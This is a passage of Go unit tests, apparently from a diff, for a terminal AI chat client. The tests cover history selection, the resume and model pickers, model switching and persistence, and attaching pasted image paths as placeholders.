m := chatModel{
|
||||
historyPopup: &chatHistoryPopup{
|
||||
messages: []api.Message{{Role: "user", Content: "a界b"}},
|
||||
stickToBottom: true,
|
||||
},
|
||||
width: 80,
|
||||
height: 10,
|
||||
}
|
||||
top, _ := m.historyPopupLayout()
|
||||
contentY := top + 1
|
||||
contentX := len(" content: ")
|
||||
|
||||
updated, _ := m.Update(tea.MouseMsg{Type: tea.MouseLeft, Button: tea.MouseButtonLeft, Action: tea.MouseActionPress, X: contentX, Y: contentY})
|
||||
m = updated.(chatModel)
|
||||
updated, _ = m.Update(tea.MouseMsg{Type: tea.MouseLeft, Button: tea.MouseButtonLeft, Action: tea.MouseActionMotion, X: contentX + 3, Y: contentY})
|
||||
m = updated.(chatModel)
|
||||
|
||||
if got := m.selectedHistoryPopupText(); got != "a界" {
|
||||
t.Fatalf("selected history text = %q, want a界", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatHistoryCommandFormatsMultilineContentWithLabel(t *testing.T) {
|
||||
m := chatModel{
|
||||
input: []rune("/history"),
|
||||
messages: []api.Message{{Role: "assistant", Content: "first\nsecond"}},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd == nil {
|
||||
t.Fatal("history command should enter the history screen")
|
||||
}
|
||||
|
||||
fm := updated.(chatModel)
|
||||
if fm.historyPopup == nil {
|
||||
t.Fatal("history popup was not opened")
|
||||
}
|
||||
fm.width = 80
|
||||
fm.height = 20
|
||||
view := stripANSI(fm.View())
|
||||
if !strings.Contains(view, "content:") || !strings.Contains(view, "first") || !strings.Contains(view, "second") {
|
||||
t.Fatalf("history should label multiline content before block:\n%s", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatResumeCommandOpensPicker(t *testing.T) {
|
||||
store := &chatResumeTestStore{
|
||||
chats: []agentstore.ChatSummary{{
|
||||
ID: "chat-1",
|
||||
Title: "Research Parth Sareen online",
|
||||
Model: "llama3.2",
|
||||
UpdatedAt: time.Now().Add(-time.Hour),
|
||||
MessageCount: 2,
|
||||
ApproxBytes: 18 * 1024,
|
||||
}},
|
||||
byID: map[string]*agentstore.AgentChat{},
|
||||
}
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
input: []rune("/resume"),
|
||||
width: 100,
|
||||
height: 20,
|
||||
opts: Options{Store: store},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("resume command should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
if m.resumePicker == nil {
|
||||
t.Fatal("resume picker was not opened")
|
||||
}
|
||||
view := stripANSI(m.View())
|
||||
if !strings.Contains(view, "Resume chat: type to filter") ||
|
||||
!strings.Contains(view, "Research Parth Sareen online") ||
|
||||
!strings.Contains(view, "llama3.2") {
|
||||
t.Fatalf("resume picker view missing content: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "Search...") {
|
||||
t.Fatalf("resume picker should render inline without full search box: %q", view)
|
||||
}
|
||||
if !strings.Contains(view, "› █") {
|
||||
t.Fatalf("inline resume picker should keep input box visible: %q", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatResumePickerFallsBackToFullFrameWhenSmall(t *testing.T) {
|
||||
store := &chatResumeTestStore{
|
||||
chats: []agentstore.ChatSummary{{
|
||||
ID: "chat-1",
|
||||
Title: "Research Parth Sareen online",
|
||||
Model: "llama3.2",
|
||||
}},
|
||||
byID: map[string]*agentstore.AgentChat{},
|
||||
}
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
input: []rune("/resume"),
|
||||
width: 44,
|
||||
height: 10,
|
||||
opts: Options{Store: store},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("resume command should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
view := stripANSI(m.View())
|
||||
if !strings.Contains(view, "Resume session") || !strings.Contains(view, "Search...") {
|
||||
t.Fatalf("small resume picker should use full-frame fallback: %q", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelCommandOpensPicker(t *testing.T) {
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
input: []rune("/model"),
|
||||
width: 100,
|
||||
height: 20,
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
ContextWindowTokens: 131072,
|
||||
ModelOptions: func(context.Context) ([]ModelOption, error) {
|
||||
return []ModelOption{
|
||||
{Name: "kimi-k2.6:cloud", Description: "cloud coding"},
|
||||
{Name: "llama3.2", Description: "local"},
|
||||
}, nil
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("model command should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
if m.modelPicker == nil {
|
||||
t.Fatal("model picker was not opened")
|
||||
}
|
||||
view := stripANSI(m.View())
|
||||
if !strings.Contains(view, "Select model: type to filter") ||
|
||||
!strings.Contains(view, "kimi-k2.6:cloud") ||
|
||||
!strings.Contains(view, "llama3.2") ||
|
||||
!strings.Contains(view, "current") {
|
||||
t.Fatalf("model picker view missing content: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "Search...") {
|
||||
t.Fatalf("model picker should render inline without full search box: %q", view)
|
||||
}
|
||||
if !strings.Contains(view, "› █") {
|
||||
t.Fatalf("inline model picker should keep input box visible: %q", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelPickerFallsBackToFullFrameWhenSmall(t *testing.T) {
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
input: []rune("/model"),
|
||||
width: 44,
|
||||
height: 10,
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
ModelOptions: func(context.Context) ([]ModelOption, error) {
|
||||
return []ModelOption{
|
||||
{Name: "kimi-k2.6:cloud", Description: "cloud coding"},
|
||||
{Name: "llama3.2", Description: "local"},
|
||||
}, nil
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("model command should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
view := stripANSI(m.View())
|
||||
if !strings.Contains(view, "Switch model") || !strings.Contains(view, "Search...") {
|
||||
t.Fatalf("small model picker should use full-frame fallback: %q", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelPickerShowsRecommendedModelsFirst(t *testing.T) {
|
||||
models := normalizeModelOptions([]ModelOption{
|
||||
{Name: "llama3.2", Description: "local"},
|
||||
{Name: "kimi-k2.6:cloud", Description: "cloud coding", Recommended: true},
|
||||
{Name: "qwen3.5:cloud", Description: "cloud reasoning", Recommended: true},
|
||||
{Name: "gemma4", Description: "local"},
|
||||
})
|
||||
got := make([]string, 0, len(models))
|
||||
for _, model := range models {
|
||||
got = append(got, model.Name)
|
||||
}
|
||||
want := []string{"kimi-k2.6:cloud", "qwen3.5:cloud", "llama3.2", "gemma4"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("model order = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelPickerRanksClosestFilteredModelFirst(t *testing.T) {
|
||||
models := normalizeModelOptions([]ModelOption{
|
||||
{Name: "gemma3:27b", Description: "recommended but longer", Recommended: true},
|
||||
{Name: "llama3.2", Description: "mentions gemm in description"},
|
||||
{Name: "gemma4:27b", Description: "longer local"},
|
||||
{Name: "gemma4", Description: "short local"},
|
||||
})
|
||||
picker := newChatModelPicker(models, "", "gemm")
|
||||
|
||||
filtered := picker.filtered()
|
||||
got := make([]string, 0, len(filtered))
|
||||
for _, model := range filtered {
|
||||
got = append(got, model.Name)
|
||||
}
|
||||
want := []string{"gemma4", "gemma3:27b", "gemma4:27b", "llama3.2"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("filtered model order = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelPickerFiltersAndSwitchesModel(t *testing.T) {
|
||||
var savedModel string
|
||||
store := &chatResumeTestStore{}
|
||||
originalMessages := []api.Message{{Role: "user", Content: "keep me"}}
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
chatID: "chat-1",
|
||||
input: []rune("/model qwen"),
|
||||
width: 100,
|
||||
height: 20,
|
||||
messages: slices.Clone(originalMessages),
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
Store: store,
|
||||
ModelOptions: func(context.Context) ([]ModelOption, error) {
|
||||
return []ModelOption{
|
||||
{Name: "llama3.2", Description: "local"},
|
||||
{Name: "qwen3.5:cloud", Description: "cloud reasoning"},
|
||||
}, nil
|
||||
},
|
||||
ToolRegistryForModel: func(ctx context.Context, model string) *coreagent.Registry {
|
||||
if model != "qwen3.5:cloud" {
|
||||
t.Fatalf("tool registry model = %q, want qwen3.5:cloud", model)
|
||||
}
|
||||
registry := coreagent.NewRegistry()
|
||||
registry.Register(chatTestTool{})
|
||||
return registry
|
||||
},
|
||||
ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
|
||||
if model != "qwen3.5:cloud" {
|
||||
t.Fatalf("context model = %q, want qwen3.5:cloud", model)
|
||||
}
|
||||
if fallback != 0 {
|
||||
t.Fatalf("context fallback = %d, want 0 after model switch", fallback)
|
||||
}
|
||||
return 262144
|
||||
},
|
||||
SystemPromptForModel: func(ctx context.Context, model string, registry *coreagent.Registry) string {
|
||||
if model != "qwen3.5:cloud" {
|
||||
t.Fatalf("system prompt model = %q, want qwen3.5:cloud", model)
|
||||
}
|
||||
if registry == nil || !registry.Has("fake_tool") {
|
||||
t.Fatalf("system prompt registry missing fake tool: %#v", registry)
|
||||
}
|
||||
return "system for " + model
|
||||
},
|
||||
OnModelSelected: func(ctx context.Context, model string) error {
|
||||
savedModel = model
|
||||
return nil
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("model command should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
if m.modelPicker == nil || m.modelPicker.filter != "qwen" {
|
||||
t.Fatalf("model picker = %#v, want qwen filter", m.modelPicker)
|
||||
}
|
||||
if view := stripANSI(m.View()); !strings.Contains(view, "qwen3.5:cloud") || strings.Contains(view, "llama3.2") {
|
||||
t.Fatalf("filtered model picker view = %q", view)
|
||||
}
|
||||
|
||||
updated, cmd = m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
m = updated.(chatModel)
|
||||
if cmd != nil {
|
||||
t.Fatal("switching models should not start a command")
|
||||
}
|
||||
if m.modelPicker != nil {
|
||||
t.Fatal("model picker should close after selection")
|
||||
}
|
||||
if m.status != "ready" || m.notificationLine() != "" {
|
||||
t.Fatalf("model switch should not show action status, status=%q notification=%q", m.status, m.notificationLine())
|
||||
}
|
||||
if m.opts.Model != "qwen3.5:cloud" {
|
||||
t.Fatalf("model = %q, want qwen3.5:cloud", m.opts.Model)
|
||||
}
|
||||
if m.chatID != "chat-1" {
|
||||
t.Fatalf("chatID = %q, want chat-1", m.chatID)
|
||||
}
|
||||
if len(m.messages) != len(originalMessages) || m.messages[0].Content != originalMessages[0].Content {
|
||||
t.Fatalf("messages changed on model switch: %#v", m.messages)
|
||||
}
|
||||
if len(m.entries) != 0 {
|
||||
t.Fatalf("model switch should not append transcript entries: %#v", m.entries)
|
||||
}
|
||||
if got := store.setModels["chat-1"]; got != "qwen3.5:cloud" {
|
||||
t.Fatalf("persisted chat model = %q, want qwen3.5:cloud", got)
|
||||
}
|
||||
if savedModel != "qwen3.5:cloud" {
|
||||
t.Fatalf("saved model = %q, want qwen3.5:cloud", savedModel)
|
||||
}
|
||||
if m.opts.Tools == nil || !m.opts.Tools.Has("fake_tool") {
|
||||
t.Fatalf("tools registry was not rebuilt for model: %#v", m.opts.Tools)
|
||||
}
|
||||
if m.opts.ContextWindowTokens != 262144 {
|
||||
t.Fatalf("context window = %d, want 262144", m.opts.ContextWindowTokens)
|
||||
}
|
||||
if m.opts.SystemPrompt != "system for qwen3.5:cloud" {
|
||||
t.Fatalf("system prompt = %q", m.opts.SystemPrompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelSelectionPersistsBeforeSwitching(t *testing.T) {
|
||||
originalTools := coreagent.NewRegistry()
|
||||
errStore := errors.New("write failed")
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
chatID: "chat-1",
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
Store: &chatResumeTestStore{setModelErr: errStore},
|
||||
Tools: originalTools,
|
||||
SystemPrompt: "system for llama3.2",
|
||||
ContextWindowTokens: 8192,
|
||||
ToolRegistryForModel: func(context.Context, string) *coreagent.Registry {
|
||||
t.Fatal("tool registry should not rebuild when model persistence fails")
|
||||
return nil
|
||||
},
|
||||
SystemPromptForModel: func(context.Context, string, *coreagent.Registry) string {
|
||||
t.Fatal("system prompt should not rebuild when model persistence fails")
|
||||
return ""
|
||||
},
|
||||
},
|
||||
messages: []api.Message{{Role: "user", Content: "history"}},
|
||||
}
|
||||
|
||||
err := m.applyModelSelection("qwen3", true)
|
||||
if !errors.Is(err, errStore) {
|
||||
t.Fatalf("error = %v, want %v", err, errStore)
|
||||
}
|
||||
if m.opts.Model != "llama3.2" {
|
||||
t.Fatalf("model = %q, want llama3.2", m.opts.Model)
|
||||
}
|
||||
if m.opts.Tools != originalTools {
|
||||
t.Fatal("tools changed after failed model persistence")
|
||||
}
|
||||
if m.opts.SystemPrompt != "system for llama3.2" {
|
||||
t.Fatalf("system prompt = %q, want original", m.opts.SystemPrompt)
|
||||
}
|
||||
if m.opts.ContextWindowTokens != 8192 {
|
||||
t.Fatalf("context window = %d, want 8192", m.opts.ContextWindowTokens)
|
||||
}
|
||||
if len(m.messages) != 1 || m.messages[0].Content != "history" {
|
||||
t.Fatalf("messages changed after failed model persistence: %#v", m.messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelSelectionStartsBackgroundPreload(t *testing.T) {
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
PreloadModel: func(context.Context, string, *api.ThinkValue) error {
|
||||
return nil
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if err := m.applyModelSelection("qwen3", false); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cmd := m.startModelPreload("qwen3")
|
||||
if cmd == nil {
|
||||
t.Fatal("model switch should start background preload when configured")
|
||||
}
|
||||
if m.preloadingModel != "qwen3" {
|
||||
t.Fatalf("preloadingModel = %q, want qwen3", m.preloadingModel)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatModelSwitchNextRunKeepsHistory(t *testing.T) {
|
||||
client := &chatCaptureClient{}
|
||||
store := &chatResumeTestStore{}
|
||||
history := []api.Message{
|
||||
{Role: "user", Content: "old question"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
}
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
chatID: "chat-1",
|
||||
messages: slices.Clone(history),
|
||||
input: []rune("continue"),
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
Store: store,
|
||||
Client: client,
|
||||
SystemPromptForModel: func(_ context.Context, model string, _ *coreagent.Registry) string {
|
||||
return "system for " + model
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := m.applyModelSelection("qwen3", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("next prompt should start a model run")
|
||||
}
|
||||
done := waitForRunDone(t, m.events)
|
||||
if done.err != nil {
|
||||
t.Fatal(done.err)
|
||||
}
|
||||
|
||||
if len(client.requests) != 1 {
|
||||
t.Fatalf("requests = %d, want 1", len(client.requests))
|
||||
}
|
||||
req := client.requests[0]
|
||||
if req.Model != "qwen3" {
|
||||
t.Fatalf("request model = %q, want qwen3", req.Model)
|
||||
}
|
||||
if len(req.Messages) != 4 {
|
||||
t.Fatalf("request messages = %#v, want system + 2 history + new user", req.Messages)
|
||||
}
|
||||
if req.Messages[0].Role != "system" || req.Messages[0].Content != "system for qwen3" {
|
||||
t.Fatalf("system message = %#v", req.Messages[0])
|
||||
}
|
||||
for i, want := range history {
|
||||
got := req.Messages[i+1]
|
||||
if got.Role != want.Role || got.Content != want.Content {
|
||||
t.Fatalf("history message %d = %#v, want %#v", i, got, want)
|
||||
}
|
||||
}
|
||||
if req.Messages[3].Role != "user" || req.Messages[3].Content != "continue" {
|
||||
t.Fatalf("new user message = %#v", req.Messages[3])
|
||||
}
|
||||
if got := store.setModels["chat-1"]; got != "qwen3" {
|
||||
t.Fatalf("persisted chat model = %q, want qwen3", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatResumePickerFiltersAndLoadsSelection(t *testing.T) {
|
||||
store := &chatResumeTestStore{
|
||||
chats: []agentstore.ChatSummary{
|
||||
{ID: "chat-1", Title: "First chat", Model: "llama3.2", UpdatedAt: time.Now().Add(-2 * time.Hour), MessageCount: 2, ApproxBytes: 2048},
|
||||
{ID: "chat-2", Title: "Second chat", Model: "qwen3", UpdatedAt: time.Now().Add(-time.Hour), MessageCount: 2, ApproxBytes: 4096},
|
||||
},
|
||||
byID: map[string]*agentstore.AgentChat{
|
||||
"chat-2": {
|
||||
ID: "chat-2",
|
||||
Title: "Second chat",
|
||||
Model: "qwen3",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "resume this"},
|
||||
{Role: "assistant", Content: "loaded"},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
input: []rune("/resume"),
|
||||
queued: []string{"old queued prompt"},
|
||||
width: 100,
|
||||
height: 20,
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
Store: store,
|
||||
ToolRegistryForModel: func(ctx context.Context, model string) *coreagent.Registry {
|
||||
if model != "qwen3" {
|
||||
t.Fatalf("tool registry model = %q, want qwen3", model)
|
||||
}
|
||||
registry := coreagent.NewRegistry()
|
||||
registry.Register(chatTestTool{})
|
||||
return registry
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
updated, _ := m.handleSubmit()
|
||||
m = updated.(chatModel)
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("second")})
|
||||
m = updated.(chatModel)
|
||||
|
||||
view := stripANSI(m.View())
|
||||
if !strings.Contains(view, "Second chat") || strings.Contains(view, "First chat") {
|
||||
t.Fatalf("filtered resume picker view = %q", view)
|
||||
}
|
||||
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("loading a saved chat should flush the resumed transcript")
|
||||
}
|
||||
if m.resumePicker != nil {
|
||||
t.Fatal("resume picker should close after selection")
|
||||
}
|
||||
if m.chatID != "chat-2" {
|
||||
t.Fatalf("chatID = %q, want chat-2", m.chatID)
|
||||
}
|
||||
if m.opts.Model != "qwen3" {
|
||||
t.Fatalf("model = %q, want qwen3", m.opts.Model)
|
||||
}
|
||||
if m.opts.Tools == nil || !m.opts.Tools.Has("fake_tool") {
|
||||
t.Fatalf("tools registry was not rebuilt for resumed model: %#v", m.opts.Tools)
|
||||
}
|
||||
if len(m.queued) != 0 {
|
||||
t.Fatalf("queued prompts should be cleared on resume: %#v", m.queued)
|
||||
}
|
||||
if len(m.messages) != 2 || m.messages[0].Content != "resume this" {
|
||||
t.Fatalf("messages = %#v", m.messages)
|
||||
}
|
||||
if len(m.entries) != 2 || m.entries[0].content != "resume this" {
|
||||
t.Fatalf("entries = %#v", m.entries)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
)
|
||||
|
||||
func TestChatStartRunAttachesDroppedImagePath(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.startRun("describe " + fp)
|
||||
m = updated.(chatModel)
|
||||
|
||||
if cmd == nil {
|
||||
t.Fatal("startRun should return a command")
|
||||
}
|
||||
if len(m.liveMessages) != 1 {
|
||||
t.Fatalf("liveMessages = %d, want 1", len(m.liveMessages))
|
||||
}
|
||||
if got := m.liveMessages[0].Content; got != "describe" {
|
||||
t.Fatalf("content = %q, want describe", got)
|
||||
}
|
||||
if got := len(m.liveMessages[0].Images); got != 1 {
|
||||
t.Fatalf("images = %d, want 1", got)
|
||||
}
|
||||
if len(m.entries) == 0 {
|
||||
t.Fatal("missing user transcript entry")
|
||||
}
|
||||
entry := m.entries[0].content
|
||||
if strings.Contains(entry, fp) {
|
||||
t.Fatalf("transcript entry should hide local file path: %q", entry)
|
||||
}
|
||||
if !strings.Contains(entry, "describe") || !strings.Contains(entry, "[attached 1 file]") {
|
||||
t.Fatalf("transcript entry = %q, want prompt plus attachment note", entry)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatStartRunAttachesDroppedFileURL(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
updated, _ := m.startRun(fileURL)
|
||||
m = updated.(chatModel)
|
||||
|
||||
if got := m.liveMessages[0].Content; got != "" {
|
||||
t.Fatalf("content = %q, want empty prompt after extracting file URL", got)
|
||||
}
|
||||
if got := len(m.liveMessages[0].Images); got != 1 {
|
||||
t.Fatalf("images = %d, want 1", got)
|
||||
}
|
||||
if got := m.entries[0].content; got != "[attached 1 file]" {
|
||||
t.Fatalf("transcript entry = %q, want attachment-only note", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatPasteImagePathAttachesOnSubmit(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("describe " + fp), Paste: true})
|
||||
m = updated.(chatModel)
|
||||
if got := string(m.input); got != "describe [Image #0]" {
|
||||
t.Fatalf("pasted path input = %q, want placeholder", got)
|
||||
}
|
||||
if got := m.notificationLine(); got != "" {
|
||||
t.Fatalf("notification = %q, want no attachment notification", got)
|
||||
}
|
||||
if got := string(m.input); strings.Contains(got, fp) {
|
||||
t.Fatalf("pasted path should be hidden behind placeholder, input = %q", got)
|
||||
}
|
||||
if completions := m.slashCompletions(); len(completions) != 0 {
|
||||
t.Fatalf("placeholder input should not show slash completions: %#v", completions)
|
||||
}
|
||||
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("submit should start a run")
|
||||
}
|
||||
if got := m.liveMessages[0].Content; got != "describe [Image #0]" {
|
||||
t.Fatalf("content = %q, want prompt with placeholder", got)
|
||||
}
|
||||
if got := len(m.liveMessages[0].Images); got != 1 {
|
||||
t.Fatalf("images = %d, want 1", got)
|
||||
}
|
||||
if strings.Contains(m.entries[0].content, fp) {
|
||||
t.Fatalf("transcript entry should hide pasted file path: %q", m.entries[0].content)
|
||||
}
|
||||
if !strings.Contains(m.entries[0].content, "[Image #0]") {
|
||||
t.Fatalf("transcript entry should show placeholder: %q", m.entries[0].content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatPasteImagePathAfterSwitchingToMultimodalModel(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
input: []rune("/model vision"),
|
||||
opts: Options{
|
||||
Model: "text",
|
||||
ModelOptions: func(context.Context) ([]ModelOption, error) {
|
||||
return []ModelOption{
|
||||
{Name: "text", Description: "local"},
|
||||
{Name: "vision", Description: "local vision"},
|
||||
}, nil
|
||||
},
|
||||
MultiModalForModel: func(_ context.Context, model string) bool {
|
||||
return model == "vision"
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("model picker should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
|
||||
updated, cmd = m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
if cmd != nil {
|
||||
t.Fatal("model switch should not preload without a preload hook")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
if m.opts.Model != "vision" {
|
||||
t.Fatalf("model = %q, want vision", m.opts.Model)
|
||||
}
|
||||
if !m.opts.MultiModal {
|
||||
t.Fatal("switching to a multimodal model should enable image paste handling")
|
||||
}
|
||||
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("describe " + fp), Paste: true})
|
||||
m = updated.(chatModel)
|
||||
if got := string(m.input); got != "describe [Image #0]" {
|
||||
t.Fatalf("pasted path input = %q, want placeholder", got)
|
||||
}
|
||||
if strings.Contains(string(m.input), fp) {
|
||||
t.Fatalf("pasted path should be hidden behind placeholder, input = %q", string(m.input))
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatImagePlaceholdersUseSessionNumbers(t *testing.T) {
|
||||
first := writeTestPNG(t)
|
||||
second := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune(first), Paste: true})
|
||||
m = updated.(chatModel)
|
||||
if got := string(m.input); got != "[Image #0]" {
|
||||
t.Fatalf("first placeholder = %q, want [Image #0]", got)
|
||||
}
|
||||
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("submit should start a run")
|
||||
}
|
||||
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune(second), Paste: true})
|
||||
m = updated.(chatModel)
|
||||
if got := string(m.input); got != "[Image #1]" {
|
||||
t.Fatalf("second placeholder = %q, want [Image #1]", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatAbsoluteImagePathBypassesSlashCommandParsing(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
m.input = []rune(fp)
|
||||
m.inputCursor = len(m.input)
|
||||
m.inputCursorSet = true
|
||||
updated, cmd := m.handleSubmit()
|
||||
m = updated.(chatModel)
|
||||
|
||||
if cmd == nil {
|
||||
t.Fatal("absolute image path should start a run instead of being parsed as a slash command")
|
||||
}
|
||||
if got := len(m.liveMessages[0].Images); got != 1 {
|
||||
t.Fatalf("images = %d, want 1", got)
|
||||
}
|
||||
if got := m.entries[0].role; got != "user" {
|
||||
t.Fatalf("entry role = %q, want user", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatDeletingImagePlaceholderRemovesAttachment(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("describe " + fp), Paste: true})
|
||||
m = updated.(chatModel)
|
||||
if got := len(m.inputAttachments); got != 1 {
|
||||
t.Fatalf("input attachments = %d, want 1", got)
|
||||
}
|
||||
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeyBackspace})
|
||||
m = updated.(chatModel)
|
||||
if got := string(m.input); got != "describe " {
|
||||
t.Fatalf("input after backspace = %q, want image placeholder removed", got)
|
||||
}
|
||||
if got := len(m.inputAttachments); got != 0 {
|
||||
t.Fatalf("input attachments after editing placeholder = %d, want 0", got)
|
||||
}
|
||||
|
||||
m.input = []rune("describe")
|
||||
m.inputCursor = len(m.input)
|
||||
m.inputCursorSet = true
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("submit should start a run")
|
||||
}
|
||||
if got := len(m.liveMessages[0].Images); got != 0 {
|
||||
t.Fatalf("images = %d, want 0 after deleting placeholder", got)
|
||||
}
|
||||
if got := m.liveMessages[0].Content; got != "describe" {
|
||||
t.Fatalf("content = %q, want describe", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatWordDeletingImagePlaceholderRemovesAttachment(t *testing.T) {
|
||||
fp := writeTestPNG(t)
|
||||
m := chatModel{
|
||||
ctx: context.Background(),
|
||||
opts: Options{
|
||||
Model: "test",
|
||||
